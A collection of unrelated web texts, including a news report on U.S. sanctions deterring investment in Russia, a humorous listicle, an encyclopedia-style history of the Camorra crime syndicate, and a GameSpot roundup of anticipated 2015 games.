cannot wait to put our passion and international experience at the service of this fantastic club and its supporters."  Inter are fourth in Serie A under coach Walter Mazzarri. They finished ninth last season with Marco Stramaccioni at the helm and failed to qualify for Europe for the first time in 15 years.
-New U.S. sanctions on Moscow have forced Russian business chiefs to accept that Donald Trump's rise to power is not about to produce a "Trump Bump" in foreign investment.  After Trump became U.S. president, some investors said they would be prepared to contemplate new deals with Russian firms if they saw signs that U.S.-Russian ties were improving and U.S. restrictions on business with Russia were being relaxed.  But the new sanctions, signed onto law by Trump on August 2, add new measures and codify six orders signed by President Barack Obama, making them harder for Trump to revoke.  For the business community in Moscow, the message is clear - there is no immediate prospect of Washington softening its stance towards Moscow.  "Russia faces the codification of sanctions which suggests they will be hellishly difficult to take off and are likely to remain in place for the very long term," said Tim Ash, a strategist at BlueBay asset management in London.  "The mere fact that the U.S. and Western governments ... saw fit to levy sanctions on Russia sends at the least an amber light to Western business - “be careful in your dealings with Russia."  The United States initially imposed financial and travel restrictions on Russia in 2014, after Russia annexed the Crimea region from Ukraine following the fall of a pro-Moscow president in Kyiv.  The latest measures allow Congress to block any effort by the president to ease or lift the existing sanctions, tightens some of those sanctions, and imposes new restrictions in some sectors.  Executives in Russian banks and energy companies, the main targets of the U.S. sanctions, told Reuters their compliance departments were still going through the fine print of the new law to understand the practical impact.  Already clear, though, was the message about the duration of the sanctions.  "This is obviously for a long time," said a source in a major Russian oil company, who spoke on condition of anonymity because he is not authorized to speak to the media.  Moody's rating agency said in a note to clients that the new sanctions on Russia "are likely to further deter investment there."  The sanctions in place since 2014 directly restrict a narrow range of business dealings. Their biggest effect, according to investment bankers and corporate lawyers in Moscow, is that they create the risk of more sanctions being added.  Under that scenario, a deal signed outside the scope of the sanctions could quickly fall under sanctions. If that happened, investors would be likely to lose money and few want to take that risk.  On the other hand, if investors believe the sanctions will not be expanded, they can conclude deals with some confidence, even while existing measures remain in place.  Ship hasn't sailed  Trump's election triumph last November led many in the Russian business community to believe that the worst of the sanctions was over.  It was at this time that a long-planned deal to privatize a stake in Sovcomflot, a state-owned shipping company with a fleet of modern vessels and lucrative energy sector contracts, was put back on the government's agenda.  The fate of the partial privatization since then reflects the importance of the new sanctions to investor sentiment.  No one involved in the Sovcomflot deal has publicly committed to a date for the sale but two financial market sources told Reuters late in May that the deal was expected in early June.  The plan later changed again because of deteriorating market conditions, a source familiar with the situation said in June - the same week that the Russian stock index slipped on concerns that Washington would impose new sanctions on Moscow.  Later in June, a senior Russian government official told Reuters the deal might happen in July. But after the new U.S. sanctions, Moscow's tone on the deal became more cautious though officials declined to say whether the new sanctions would alter the government's decision about when the sale happens.  "It's clear that the USA's toughening of the sanctions regime right now will hardly make the investment climate for this asset more attractive on international financial markets," Transport Minister Maxim Sokolov told reporters on August 3.  Anton Tabakh, a Russian economist, said the main problem the new sanctions posed for Russian investment was that they increase uncertainty about what happens next.  The new measures "guarantee that the risk of the sanctions expanding will remain for a long time," he wrote in a commentary for Carnegie Moscow Center, a think tank.  The new sanctions are unlikely to trigger an immediate crisis in Russia. Business and government have adapted to living with low investment flows, and the central bank has the tools to maintain macro-economic stability. Longer-term, tepid foreign investment is likely to shave a few percentage points off economic growth, economists say. The Russian economy contracted in 2015 and 2016, and is seen growing up to 1.8 percent this year, according to Russia's central bank.  That is far below the average annual growth of nearly 7 percent on which President Vladimir Putin built high approval ratings early in his presidency.  Explaining this will be one of his challenges when, as most Russians expect, he asks Russian voters to re-elect him in next year's presidential election.
-1. You enjoy being alone a little too much. Going to the movies solo every now and then isn’t bad but you shouldn’t be that into it.  2. To get some sort of conversation in your life you’ll walk around Target asking employees questions about products that you’ve got no intention of purchasing.  3. Many guys will watch porn to fulfill their sexual fantasies but for you only romantic comedies will do it.  4. You go to the bar not caring about hooking up but just being glad to be in the vicinity of some good looking people even if you know you won’t talk to them.  5. Instead of ordering delivery you will go out of your way to pick up your pizza to have some brief human interaction outside of your house.  6. It’s common place for you to have ongoing conversations with yourself.  7. Continuously stare at your text messages hoping that the harder you stare the more likely someone, anyone will send you a message.  8. You check out any half decent girl just hoping to make eye contact with as many of them as possible. It’s a numbers game after all.  9. You can talk yourself into the prospect of dating even monsters like Jan on The Office.  10. Food has turned into your best and most dependable friend.  11. You’re a man that’s considering getting a cat.  12. You relate to Edward Norton’s character in Fight Club. Maybe you even wouldn’t mind your own Brad Pitt subconscious ordering you around.  13. Sometimes you feel like Sandra Bullock in Gravity just floating around aimlessly.  14. You’’ll often go to your parent’s house just to hang out.  15. You’re always the only person in your bed and yet you only sleep on one side.  16. Will take any small gesture by a woman as a sign of interest such as the waitress writing a heart on your receipt.  17. Watch reruns of The Office to see Jim and Pam so you can feel the emotions of a real, beautiful relationship.  18. Don’t wear headphones at the gym. No reason to do this unless you’re desperately hoping someone starts a conversation with you.  19. Ask to borrow someone’s dog. You aren’t dog sitting but instead you asked a friend if you could have their dog stay with you for a night or two just because.
-The Camorra ( Italian: [kaˈmɔrra]; Neapolitan: [kaˈmorrə]) is an Italian Mafia-type[2] crime syndicate, or secret society, which arose in the region of Campania and its capital Naples. It is one of the oldest and largest criminal organizations in Italy, dating back to the 17th century. Unlike the pyramidal structure of the Sicilian Mafia, the Camorra's organizational structure is more horizontal than vertical. Consequently, individual Camorra clans act independently of each other, and are more prone to feuding among themselves.  Background [ edit ]  The origins of the Camorra are not entirely clear. It may date back to the 17th century as a direct Italian descendant of a Spanish secret society, the Garduña, founded in 1417. Officials of the Kingdom of Naples may have introduced the organization to the area, or it may have grown gradually out of small criminal gangs operating in Neapolitan society near the end of the 18th century.[3] However, recent historical research in Spain suggests that the Garduña never really existed and was based on a fictional 19th century book.[4]  The first official use of the word dates from 1735, when a royal decree authorised the establishment of eight gambling houses in Naples. The word is likely a blend, or portmanteau, of "capo" (boss) and a Neapolitan street game, the "morra".[3][5] (In this game, two persons wave their hands simultaneously, while a crowd of surrounding gamblers guess, in chorus, at the total number of fingers exposed by the principal players.)[6] This activity was prohibited by the local government, and some people started making the players pay for being "protected" against the passing police.[3][7][8]  Camorristi in Naples, 1906 in Naples, 1906  The Camorra first emerged during the chaotic power vacuum in the years between 1799 and 1815, when the Parthenopean Republic was proclaimed on the wave of the French Revolution and the Bourbon Restoration. The first official mention of the Camorra as an organization dates from 1820, when police records detail a disciplinary meeting of the Camorra, a tribunal known as the Gran Mamma. That year a first written statute, the frieno, was also discovered, indicating a stable organisational structure in the underworld. Another statute was discovered in 1842, including initiation rites and funds set aside for the families of those imprisoned. The organization was also known as the Bella Società Riformata, Società dell'Umirtà or Onorata Società.[9][10]  The evolution into more organized formations indicated a qualitative change: the Camorra and camorristi were no longer local gangs living off theft and extortion; they now had a fixed structure and some kind of hierarchy. Another qualitative leap was the agreement of the liberal opposition and the Camorra, following the defeat in the 1848 revolution. The liberals realized that they needed popular support to overthrow the king. They turned to the Camorra and paid them, the camorristi being the leaders of the city’s poor. The new police chief, Liborio Romano, turned to the head of the Camorra, Salvatore De Crescenzo, to maintain order and appointed him as head of the municipal guard.[11] The Camorra effectively had developed into power brokers in a few decades.[9] In 1869, Ciccio Cappuccio was elected as the capintesta (head-in-chief) of the Camorra by the twelve district heads (capintriti), succeeding De Crescenzo after a short interregnum.[12] Nicknamed 'The king of Naples' ('‘o rre 'e Napole) he died in 1892.[13][14]  Following Italian unification in 1861 attempts were made to tackle the Camorra and a series of manhunts were made from 1882 on. The Saredo Inquiry (1900–1901), established to investigate corruption and bad governance in Naples, identified a system of political patronage ran by what the report called the "high Camorra":  The original low camorra held sway over the poor plebs in an age of abjection and servitude. Then there arose a high camorra comprising the most cunning and audacious members of the middle class. They fed off trade and public works contracts, political meetings and government bureaucracy. This high camorra strikes deals and does business with the low camorra, swapping promises for favours and favours for promises. The high camorra thinks of the state bureaucracy as being like a field it has to harvest and exploit. Its tools are cunning, nerve and violence. Its strength comes from the streets. And it is rightly considered to be more dangerous, because it has re-established the worst form of depotism by founding a regime based on bullying. The high camorra has replaced free will with impositions, it has nullified individuality and liberty, and it has defrauded the law and public trust.[15][16]  The Inquiry introduced the terminology of "high Camorra", with a bourgeois character, but distinct from the plebeian Camorra proper, although both were in close contact through the figure of the intermediary (faccendiere).[17]  From the rich industrialist who wants a clear road into politics or administration to the small shopowner who wants to ask for a reduction of taxes; from the businessman trying to win a contract to a worker looking for a job in a factory; from a professional who wants more clients or greater recognition to somebody looking for an office job; from somebody from the provinces who has come to Naples to buy some goods to somebody who wants to emigrate to America; they all find somebody stepping into their path, and nearly all made use of them.[18]  However, whether the "high Camorra" was an integral part of the Camorra proper is disputed.[16] Although the inquiry did not prove specific collusion between the Camorra and politics, it brought to light the patronage mechanisms that fueled corruption in the municipality.[15] The society's influence was weakened which was exemplified by the defeat of all of their candidates in the 1901 Naples election. Many camorristi left for the United States in the early 20th century.[19]  The Cuocolo trial in Viterbo. Most of the defendants are in the large cage. The three in front are (from left to right) the priest Ciro Vitozzi, Maria Stendardo, the only female defendant, and Enrico Alfano. In the small cage to the right is the crown witness Gennaro Abbatemaggio.  The Camorra received another blow with the Cuocolo trial (1911–1912). While the trial was about the murder of the Camorrista Gennaro Cuocolo and his wife, suspected of being police spies, on June 6, 1906, the main investigator, Carabinieri Captain Carlo Fabbroni, transformed it from a murder trial into one against the Camorra as a whole. Fabbroni intended to use the trial to strike the final blow to the Camorra.[20][21] The trial attracted a lot of attention of newspapers and the general public both in Italy as well as in the United States, including by Pathé's Gazette.[22] The hearings began in the spring of 1911 and would continue for twelve months. After a 17-month trial, the often tumultuous proceedings ended with a guilty verdict on July 8, 1912. The defendants, including 27 leading Camorra bosses, were sentenced to a total of 354 years' imprisonment. The main defendant and nominal head of the Camorra, Enrico Alfano, was sentenced to 30 years.[20][23][24][25]  The Camorra was never a coherent whole nor a centralised organization. Instead, it has always been a loose confederation of different, independent groups or families. Each group was bound around kinship ties and controlled economic activities which took place in its particular territory. Each family clan took care of its own business, protected its territory, and sometimes tried to expand at another group’s expense. Although not centralized, there was some minimal coordination, to avoid mutual interference. The families competed to maintain a system of checks and balances between equal powers.[26]  One of the Camorra's strategies to gain social prestige is political patronage. The family clans became the preferred interlocutors of local politicians and public officials, because of their grip on the community. In turn, the family bosses used their political sway to assist and protect their clients against the local authorities. Through a mixture of brute force, political status, and social leadership, the Camorra family clans imposed themselves as middlemen between the local community and bureaucrats and politicians at the national level. They granted privileges and protection, and intervened in favour of their clients in return for their silence and connivance against local authorities and the police. With their political connections, the heads of the major Neapolitan families became power brokers in local and national political contexts, providing Neapolitan politicians with broad electoral support, and in return receiving benefits for their constituency.[26]  Activities [ edit ]  Compared to the Sicilian Mafia's pyramidal structure, the Camorra has more of a 'horizontal' than a 'vertical' structure. As a result, individual Camorra clans act independently of each other, and are more prone to feuding among themselves. This however makes the Camorra more resilient when top leaders are arrested or killed, with new clans and organizations germinating out of the stumps of old ones. As the Galasso clan boss Pasquale Galasso once stated in court; "Campania can get worse because you could cut into a Camorra group, but another ten could emerge from it."[27]  In the 1970s and 1980s Raffaele Cutolo made an attempt to unify the Camorra families in the manner of the Sicilian Mafia, by forming the New Organized Camorra (Nuova Camorra Organizzata or NCO), but this proved unsuccessful. Drive-by shootings by camorristi often result in casualties among the local population, but such episodes are often difficult to investigate because of widespread omertà (code of silence). According to a report from Confesercenti, the second-largest Italian Trade Organization, published on October 22, 2007 in the Corriere della Sera, the Camorra control the milk and fish industries, the coffee trade, and over 2,500 bakeries in Naples.[28]  In 1983, Italian law enforcement estimated that there were only about a dozen Camorra clans. By 1987, the number had risen to 26, and in the following year, a report from the Naples flying squad reported their number as 32. Currently it is estimated there are about 111 Camorra clans and over 6,700 members in Naples and the immediate surroundings.[29] Roberto Saviano, an investigative journalist and author of Gomorra, an exposé of the activities of the Camorra, says that this sprawling network of Camorra clans now dwarfs the Sicilian Mafia, the 'Ndrangheta and southern Italy's other organised gangs, in numbers, in economic power and in ruthless violence.[30]  In 2004 and 2005 the Di Lauro clan and the so-called Scissionisti di Secondigliano fought a bloody feud which came to be known in the Italian press as the Scampia feud. The result was over 100 street killings. At the end of October 2006 a new series of murders took place in Naples between 20 competing clans, that cost 12 lives in 10 days. The Interior Minister Giuliano Amato decided to send more than 1,000 extra police and carabinieri to Naples to fight crime and protect tourists.[31] Despite this, in the following year there were over 120 murders.[citation needed]  In 2001 the businessman Domenico Noviello from Caserta testified against a Camorra extortionist and subsequently received police protection. In 2008 he refused further protection and was killed one week later.[32]  In recent years, various Camorra clans have been allegedly utilizing alliances with Nigerian drug gangs and the Albanian mafia. Augusto La Torre, the former La Torre clan boss who became a pentito, is married to an Albanian woman. It should also be noted that the first foreign pentito, a Tunisian, admitted to being involved with the feared Casalesi clan of Casal di Principe. The first town in which the Camorra sanctioned stewardship by a foreign clan was Castel Volturno, which was given to the Rapaces, clans from Lagos and Benin City in Nigeria. This allowed them to traffic cocaine and women in sexual slavery before sending them across the whole of Europe.[33]  Refuse crisis [ edit ]  Since the mid-1990s, the Camorra has taken over the handling of refuse disposal in the region of Campania, with disastrous results for the environment and the health of the general population. Heavy metals, industrial waste, chemicals and household garbage are frequently mixed together, then dumped near roads and burnt to avoid detection, leading to severe soil and air pollution.  The situation worsened during this period as the camorra diversified their illegal waste disposal strategy: 1) transporting and dumping hazardous waste in the countryside by truck; 2) dumping waste in illegal caves or holes; 3) mixing toxic waste with textiles to avoid explosions and then burning it; and 4) mixing toxic with urban waste for disposal in landfills and incinerators.[34]  With the assistance of private businessmen known as "stakeholders", the numerous Camorra clans are able to gain massive profits from under-the-table contracts with local, legitimate businesses. These "stakeholders" are able to offer companies highly lucrative deals to remove their waste at a significantly lower price. With little to no overhead, Camorra clans and their associates see very high profit margins. According to author Roberto Saviano, the Camorra uses child labour to drive the waste in for a small price, as they do not complain about the health risks as the older truckers might.  As of June 2007, the region has no serviceable dumping sites, and no alternatives have been found. Together with corrupt local officials and unscrupulous industrialists from all over Italy, the Camorra has created a cartel that has so far proven very difficult for officials to combat.[35]  In November 2013 a demonstration by tens of thousands of people was held in Naples in protest against the pollution caused by the Camorra's control of refuse disposal. Over a twenty-year period, it was alleged, about ten million tonnes of industrial waste had been illegally dumped, with cancers caused by pollution increasing by 40–47%.[36]  Efforts to fight the Camorra [ edit ]  The Camorra has proven to be an extremely difficult organization to fight within Italy. At the first mass trial against the Camorra in 1911–12, Captain Carlo Fabroni of the Carabinieri gave testimony on how complicated it was to successfully prosecute the Camorra: "The Camorrist has no political ideals. He exploits the elections and the elected for gain. The leaders distribute bands throughout the town, and they have recoursed to violence to obtain the vote of the electors for the candidates whom they have determined to support. Those who refuse to vote as instructed are beaten, slashed with knives, or kidnapped. All this is done with assurance of impunity, as the Camorrists will have the protection of successful politicians, who realize that they cannot be chosen to office without paying toll to the Camorra."[37]  The trial that investigated the murder of the camorrista Gennaro Cuocolo was followed with great interest by the newspapers and the general public. It led to the conviction of 27 leading Camorra bosses, who were sentenced to a total of 354 years of imprisonment, including the head of the Camorra at the time, Enrico Alfano.[38][39]  Unlike the Sicilian Mafia, which has a clear hierarchy and a division of interests, the Camorra's activities are much less centralized. This makes the organization much more difficult to combat through crude repression.[40] In Campania, where unemployment is high and opportunities are limited, the Camorra has become an integral part of the fabric of society. It offers a sense of community and provides the youth with jobs. Members are guided in the pursuit of criminal activities, including cigarette smuggling, drug trafficking, and theft.[41]  The government has made an effort to combat the Camorra's criminal activities in Campania. The solution ultimately lies in Italy's ability to offer values, education and work opportunities to the next generation. However, the government has been hard pressed to find funds for promoting long term reforms that are needed to improve the local economic outlook and create jobs.[41] Instead, it has had to rely on limited law enforcement activity in an environment which has a long history of criminal tolerance and acceptance, and is governed by a code of silence or omertà that persists to this day.[42]  Despite the overwhelming magnitude of the problem, law enforcement officials continue their pursuit. The Italian police are coordinating their efforts with Europol at the European level as well as Interpol to conduct special operations against the Camorra. The Carabinieri and the Financial Police (Guardia di Finanza) are also fighting criminal activities related to tax evasion, border controls, and money laundering. Prefect Gennaro Monaco, Deputy Chief of Police and Chief of the Section of Criminal Police cites "impressive results" against the Camorra in recent years, yet the Camorra continues to grow in power.[43]  In 1998, police took a leading Camorra figure into custody. Francesco Schiavone was caught hiding in a secret apartment near Naples behind a sliding wall of granite. The mayor of Naples, Antonio Bassolino, compared the arrest to that of Sicilian Mafia chief Salvatore Riina in 1993.[44] Francesco Schiavone is now serving a life sentence after a criminal career which included arms trafficking, bomb attacks, armed robbery, and murder.  Michele Zagaria, a senior member of the Casalesi clan, was arrested in 2011 after eluding police for 16 years. He was found in a secret bunker in the town Casapesenna, near Naples.[45] In 2014, clan boss Mario Riccio was arrested for drug trafficking in the Naples area. Around the same time 29 suspected Camorra members were also arrested in Rome.[46]  The arrests in the Campania region demonstrate that the police are not allowing the Camorra to operate without intervention. However, progress remains slow, and these minor victories have done little to loosen the Camorra's grip on Naples and the surrounding regions.[41]  In 2008, Italian police arrested three members of the Camorra crime syndicate on September 30, 2008. According to Gianfrancesco Siazzu, commander of the Carabinieri police, the three were captured in small villas on the coast of Naples. All three had been on Italy's 100 top most wanted list. Police seized assets valued at over 100 million euros and also weapons, including two AK-47 assault rifles that may have been used in the shooting of six Africans on September 18, 2008. Police found pistols, Carabinieri uniforms and other outfits that were used to disguise members of the operation. During the same week, a separate operation netted 26 additional suspects in Caserta. All were believed to belong to the powerful Camorra crime syndicate that operates in and around Naples. The suspects were charged with extortion and weapons possession. In some cases, the charges also included murder and robbery. Giuseppina Nappa, the 48-year-old wife of a jailed crime boss, was among those arrested. She is believed to be the Camorra's local paymaster.[47]  In November 2018, Italian police announced the arrest of Antonio Orlando, suspected of being a major figure in the Camorra.[48]  Outside Campania and Italy [ edit ]  Despite its origins, it presently has secondary ramifications in other Italian regions, like Lombardy,[49][50][51] Piedmont[52][53] and Emilia-Romagna,[54][55] in connection with the centers of national economic power. It has also spread outside the Italy's boundaries, and acquired a foothold in the United Kingdom and United States.  Camorra in the United Kingdom [ edit ]  Scotland has had its brush with the Camorra. Antonio La Torre of Aberdeen was the local "Don" of the Camorra. He is the brother of Camorra boss Augusto La Torre of the La Torre clan which had its base in Mondragone, Caserta. The La Torre Clan's empire was worth hundreds of millions of euros. Antonio had several legitimate businesses in Aberdeen, whereas his brother Augusto had several illegal businesses there. He was convicted in Scotland and is awaiting extradition to Italy.[needs update] Augusto would eventually become a pentito in January 2003, confessing to over 40 murders and his example would be followed by many of his men.[56]  Two Aberdeen restaurateurs, Ciro Schiattarella and Michele Siciliano, were extradited to Italy for their part in the "Aberdeen Camorra". A fourth Scottish associate made history by becoming the first foreign member of the Camorra and is currently serving a jail sentence in the UK. It has been reported that he also receives a monthly salary, legal assistance and protection.[57]  Saviano alleges that from the 1980s, Italian gangsters ran a network of lucrative businesses in the city as well as many illegal rackets. Saviano said Scotland's third city, with no history of organized crime, was seen as an attractive safe haven away from the violent inter-gang bloodletting that had engulfed their Neapolitan stronghold of Mondragone. Saviano claims that before the Italian clans arrived, Aberdeen did not know how to exploit its resources for recreation and tourism. He further states that the Italians infused the city with economic energy, revitalised the tourist industry, inspired new import-export activities and injected new vigour in the real-estate sector. It thereby turned Aberdeen into a chic, elegant address for fine dining and important dealings.[57]  The hub of La Torre's UK empire, Pavarotti's restaurant, now under different ownership, was even feted at Italissima, a prestigious gastronomic fair held in Paris. The restaurant was even advertised on the city's local tourist guides. Saviano further claims to have gone to Aberdeen and worked in a restaurant run by Antonio La Torre. The Camorristas operated a system known as "scratch" where they used to step up illegal activities if their legitimate ventures were struggling. If cash was short they had counterfeit notes printed; if capital was needed in a hurry, they sold bogus treasury bonds. They annihilated the competition through extortions and imported merchandise tax-free. The Camorra were able to run all sort of deals because the local police had virtually no experience in dealing with organized crime. Although they broke the law, there were never any guns or serious violence, due to lack of rivals.[57]  However, the suggestion that the city remains in the grip of mobsters has been strongly denied by leaders of the 300 strong Italian community in Aberdeen. Moreover, Giuseppe Baldini, the Italian government's vice-consul in Aberdeen, denies that the Camorra still maintains its presence in Aberdeen.[57]  Camorra in the United States [ edit ]  The Camorra existed in the United States between the mid-19th century and early 20th century. They rivaled the defunct Morello crime family for power in New York. Eventually, they melded with the early Italian-American Mafia groups.  Many Camorra members and associates fled the internecine gang warfare and Italian Justice and immigrated to the United States in the 1980s. In 1993, the FBI estimated that there were 200 camorristi in the United States. Although there appears to be no clan structure in the United States, Camorra members have established a presence in Los Angeles, New York and Springfield, Massachusetts.[58] The Camorra is the least active of all the organized crime groups in the United States.[59] In spite of this, the US law enforcement considers the Camorra to be a rising criminal enterprise, especially dangerous because of its ability to adapt to new trends and forge new alliances with other criminal organizations.[60]  According to the Federal Bureau of Investigation:  In the 1970s, the Sicilian Mafia convinced the Camorra to convert their cigarette smuggling routes into drug smuggling routes with the Sicilian Mafia's assistance. Not all Camorra leaders agreed, leading to the Camorra Wars that cost 400 lives. Opponents of drug trafficking lost the war. The Camorra made a fortune in reconstruction after an earthquake ravaged the Campania region in 1980. Now it specializes in cigarette smuggling and receives payoffs from other criminal groups for any cigarette traffic through Italy. The Camorra is also involved in money laundering, extortion, alien smuggling, robbery, blackmail, kidnapping, political corruption, and counterfeiting. It is believed that nearly 200 Camorra affiliates reside in this country, many of whom arrived during the Camorra Wars.[61]  In 1995, the Camorra cooperated with the Russian Mafia in a scheme in which the Camorra would bleach out US $1 bills and reprint them as $100s. These bills would then be transported to the Russian Mafia for distribution in 29 post-Eastern Bloc countries and former Soviet republics.[58] In return, the Russian Mafia paid the Camorra with property (including a Russian bank) and firearms, smuggled into Eastern Europe and Italy.[60]  In 2012, the Obama administration imposed sanctions on the Camorra as one of four key transnational organized crime groups, along with the Brothers' Circle from Russia, the Yamaguchi-gumi (Yakuza) from Japan, and Los Zetas from Mexico.[62]  In popular culture [ edit ]  See also [ edit ]  References [ edit ]  Sources [ edit ]
-2014 was packed with some outstanding games, but even a cursory glance at some of the games confirmed for 2015 shows that the next 12 months could outshine the previous year when it comes to high quality experiences. And while 2014 saw the steady rise of the Xbox One and PlayStation 4 (and the quiet resurgence of the Wii U), 2015 looks like it will be the year where the new consoles truly shine and finally deliver on their promise. PCs, too, remain a stronghold for unique and amazing gameplay experiences, and will undoubtedly continue to be an outstanding platform for gaming in the new year. So which 2015 confirmed releases are the GameSpot team most looking forward to?  Evolve  Coming February 2 for PC, PS4, Xbox One  Every team-based shooter claims to require camaraderie and coordination, to the point that boasts of mandatory teamwork can often be dismissed as simple buzzwords. Evolve’s alpha test proved that “teamwork” is not just a marketing term in this case, but an inescapable need. The game’s asymmetrical, monster-versus-squad action is electrifying, and makes playing every class an absolute blast. Don’t dismiss Evolve as another been-there-done-that competitive shooter: there’s something truly special here. -- Kevin VanOrd  Bloodborne  Coming March 24 for PS4  It would be disingenuous to suggest that one of the reasons we’re so thrilled by Bloodborne is that it so closely resembles From Software’s previous games in the Souls series. Those games rose to excellence through their weighty combat, their stiff challenge, and their oppressive atmosphere. That we will be able to say the same about Bloodborne is almost certain. But we’re also thrilled by how the game so clearly makes a statement apart from the Souls games. It’s a different kind of world with different kind of weapons, and boasts a newfound fluidity of motion that makes combat newly fresh. -- Kevin VanOrd  Mighty No. 9  Without a new Mega Man game in sight and the franchise locked behind Capcom's doors, Keiji Inafune's Mighty No. 9 is promising to fill the void. A class-style action-platformer with colorful bosses whose power you can absorb, Mighty No. 9 is both a throwback to its predecessor and a glimpse of what can happen when fans help shape a game. Through a successful Kickstarter campaign and constant communication with its backers, those who really want Mighty No. 9 are helping to shape it, and developers are listening at every step of the way. We're excited to see this return to form for Inafune and get our hands on a game truly tailored to its fans. -- Alexa Ray Corriea  The Witcher 3: Wild Hunt  Coming May 19 on PC, PS4, and Xbox One  The Witcher 2 planted the seed. It depicted one of the most beautiful and brutal places you can explore within the whole of games, and planted within it an intriguing political story and a vicious combat system that made shedding blood feel physically and emotionally exhausting. The Witcher 3: Wild Hunt’s exponentially larger world and new characters would seem to bear the fruits of that initial seed. A stunning and vast landscape, filled with difficult decisions and colossal creatures, awaits us, and it’s difficult not to tremble when you imagine the possibilities. -- Kevin VanOrd  Batman: Arkham Knight  Coming June 2 for PS4, Xbox One, PC  Developer Rocksteady is back to finish off what they started with the extremely well received Arkham series. The bits and pieces of what we've seen so far of the game have been stunning, due in no small part to the increased horsepower of the PS4 and Xbox One. And the inclusion of the Batmobile seems to be more than just a neat gimmick--the Batmobile looks like it's been integrated into a lot more than just getting Batman from point A to point b in style, and seems to be useful in solving puzzles and even as a partner during Arkham Knight's brutal fistfights. I can't wait to see how the whole things blends together next year. -- Randolph Ramsay  Rise of the Tomb Raider  Coming 2015 for Xbox One  Lara Croft's rebirth in early 2013 was met with high praise. This new Lara appealed to us because she was younger, softer--still learning the skills and hurtling through the experiences that would hone her into the powerful and confident Lara we've known since 1996. Trailers for Rise of the Tomb Raider show a Lara both broken and strengthened by the experiences of the first game, and we're excited to see her character grow and the exotic locales she'll conquer in the next game. -- Alexa Ray Corriea  Metal Gear Solid V: The Phantom Pain  Coming 2015 for the PS3, PS4, Xbox 360, Xbox One, PC  Though some may have only spent two hours playing through Metal Gear Solid V: Ground Zeroes' story mission, I put 10 times the hours into exploring the full range of the game's open-world stealth mechanics. I came away convinced that this is one of the most solid foundations ever for a stealth-action game. Seeing how this plays into the far more massive scale of Metal Gear Solid V: The Phantom Pain, along with the game's fascinating new buddy system and adversarial multiplayer base-infiltrations, is something I cannot wait to do. -- Daniel Hindes  Star Fox Wii U  Coming 2015 to Wii U  It's a new Star Fox game. What's not to be happy about? Shigeru Miyamoto's focus for the past several years appears to have been centered on Mario and Pikmin, so when he confirmed his new secret project is a Star Fox title for the Wii U, we were figuratively over the moon. Not much is known about this game yet, but as the first Star Fox appearance not in a Super Smash Bros. game since the Nintendo 3DS port of Star Fox 64, we're still excited. We'll be doing barrel rolls in anticipation until this one comes out. -- Alexa Ray Corriea  Coming 2015 for PS4, Xbox One, PC  My Star Wars excitement is swelling once again with the recent teaser trailer for Star Wars: The Force Awakens, and that those high hopes extend to the big Star Wars game we'll be getting next year: Battlefront. DICE's reboot of the multiplayer shooter series already looks gorgeous, with brief glimpses of the ice planet Hoth and forests of Endor seen at E3 2014. But what I want to know more than anything is: how will it play? What kind of game modes will we see? Will DICE opt to include a full-fledged singleplayer campaign as well? And perhaps most importantly, will we see any new locations and vehicles from the upcoming trilogy? My S-foils are locked in anticipation. -- Daniel Hindes  Halo 5: Guardians  Coming 2015 for Xbox One  The Halo series is one of my favorites in all of gaming, and I'm eager to see what 343 Industries can pull off with its first new Halo title developed for Xbox One. On the story side, we're finally seeing a compelling new character in Agent Locke, an aggressive-sounding Spartan tasked with hunting down Master Chief. Locke will be a playable, "primary" character in Halo 5, and I'm excited to see how Locke's involvement affects Chief's saga. Best of all, though the full Halo 5 game won't be out until next fall, its multiplayer beta--which will let you try out the many new and exciting player abilities--rolls out next week. I know how I'm spending my Christmas break. -- Eddie Makuch  The Legend of Zelda Wii U  Coming 2015 for Wii U  At E3 last year, Nintendo revealed a Link in very different attire. And the recent The Game Awards presentation unveiled a breathtaking open world that makes the possible scope of the game's world looks expansive and more comparable to Western RPGs like Elder Scrolls. These brief teases make us excited to learn more. But it's Nintendo's agonizingly metered release schedule and record of releasing carefully crafted experiences that mean, whether it's the best in the franchise or just merely OK, it's the Wii U game that everyone will be talking about. -- Justin Haywald  Coming 2015 for PS4, Xbox One, PC  Ubisoft has garnered criticism this year for utilizing a very specific open-world formula across multiple genres. Thus far, Tom-Clancy-branded games have avoided many of that formula’s tropes, and The Division looks to hew more closely to the philosophies that separate Ghost Recon and Splinter Cell from the pack. There’s still much we don’t know, but if previous showings are an indication, The Division could smartly replicate the sense of joining a small band of cohorts and journeying into a devastated New York City, hoping to survive and even thrive. Destiny has popularized the dynamic-world multiplayer shooter. We’re excited to see how Tom Clancy’s The Division refines and riffs upon a soon-to-burgeon genre. -- Kevin VanOrd  Uncharted 4: A Thief's End  Coming 2015 for PS4  Uncharted is the series that redefined developer Naughty Dog. Previously known primarily as the creators of Crash Bandicoot, they're now the studio behind some of the most cinematic and well-paced action games on any console. It's almost a given that Uncharted 4 will continue the company's legacy of creating graphical showcases. And there's no doubt that it'll be another exciting, Indiana Jones-like adventure full of big set pieces and snappy dialogue. But if it also successfully integrates the combat refinements and nuanced, character-driven storytelling from The Last of Us, Uncharted could possibly be the developer's magnum opus. -- Justin Haywald  No Man's Sky  Coming 2015 for PS4, PC  This game with have limitless potential. That's the promise No Man's Sky seems to be making. Each and every time this amazing-looking game has been shown thus far, I'm left in awe at the sheer audacity of what it looks like it may be bringing to the gaming world. A huge, living galaxy which countless planets, procedurally generated lifeforms, and an invitation to simply explore and discover. If No Man's Sky can match even half of my expectations, then it'll be an outstanding achievement. If it can meet them all, then it'll be a revolutionary game. -- Randolph Ramsay  Persona 5  Coming 2015 for PS3, PS4  With the series approaching its 20-year anniversary and its cult following still going strong, it's hard not to get wrapped up in the hype for the next Persona game. Set to launch next year for both PlayStation 3 and PlayStation 4, Persona 5 looks--from its sole teaser trailer--like it will take the beloved role-playing franchise into a new setting with possibly more mature characters (the character in the teaser looks to be wearing a college uniform). After a dozen re-releases and spin-offs from the last numbered title, the critically acclaimed Persona 4, fans are slavering for another adventure. -- Alexa Ray Corriea  You've seen our picks for the Most Anticipated Games of 2014, now vote for your favorite in our poll below!
